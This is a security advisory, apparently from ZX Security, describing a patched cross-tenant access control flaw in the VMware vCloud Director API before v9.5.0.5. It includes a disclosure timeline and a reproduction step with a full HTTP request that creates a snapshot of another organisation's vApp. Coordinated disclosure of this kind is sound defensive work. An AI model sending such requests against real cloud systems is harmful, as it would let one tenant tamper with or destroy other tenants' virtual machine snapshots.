# VMware vCloud Director API – Access Control Vulnerabilities

## Security Advisory


Date 21/04/2020

Version: 1.0

# Table of Contents

1. Background ..... 2

1.1. Introduction ..... 2

1.2. Product ..... 2

1.3. Affected versions ..... 2

1.4. Disclosure Timeline ..... 2

2. Technical Findings ..... 3

2.1. Lack of access control on snapshot operations could affect business functions of tenants 3

# 1. Background

## 1.1. Introduction

Access control vulnerabilities were identified within the VMware vCloud Director API (prior to v9.5.0.5). An organisation administrator can create, remove or revert snapshot operations against vApps and VMS located in other organisation VDCs.

## 1.2. Product

VMware vCloud Director (vCD) is deployment, automation and management software for virtual infrastructure resources in multi-tenant cloud environments.

## 1.3. Affected versions

VMware vCloud Director API prior to v9.5.0.5 are affected.

## 1.4. Disclosure Timeline

6 November 2018 Identified the issues and informed our customer.

6 December 2019 Performed retesting after our customer patched the system to v9.5.0.4, identified one issue still present and informed our customer.

20 February 2020 Patch v9.5.0.5 released by VMware.

# 2. Technical Findings

## 2.1. Lack of access control on snapshot operations could affect business functions of tenants

The access control on snapshot operations was improperly implemented. An organisation administrator can perform the following unauthorised snapshot operations in another organisation VDCs.

1. Remove all snapshots of all virtual machines.
2. Revert all virtual machines to the most recent snapshots.
3. Create new snapshots, overwriting all snapshots of all virtual machines in a vApp regardless of whether the vApp is powered on.

Issues #1 and #2 were resolved prior to release v9.5.0.5 (exact patch version was unknown). Issue #3 was resolved in release v9.5.0.5.

**Reproduction:**

1. Send the following request to create a snapshot of a vApp in Organisation B as the administrator of Organisation A:

```
POST /api/vApp/<vApp ID of Org B>/action/createSnapshot HTTP/1.1
Host: <baseURL>
Accept: application/*+xml;version=29.0
x-vcloud-authorization: <admin auth token of Org A>
Content-Type:
application/vnd.vmware.vcloud.createSnapshotParams+xml

<?xml version="1.0" encoding="UTF-8"?>
<vcloud:CreateSnapshotParams
xmlns:vcloud="http://www.vmware.com/vcloud/v1.5"
memory="false" name="Snapshot created by Org A" quiesce="true">
<vcloud:Description>Snapshot created by Org
A</vcloud:Description>
</vcloud:CreateSnapshotParams>
```

2. Observe a 202 Accepted response with details of the snapshot created.


ZX Security Limited

Level 7, 187 Featherston St

Wellington, New Zealand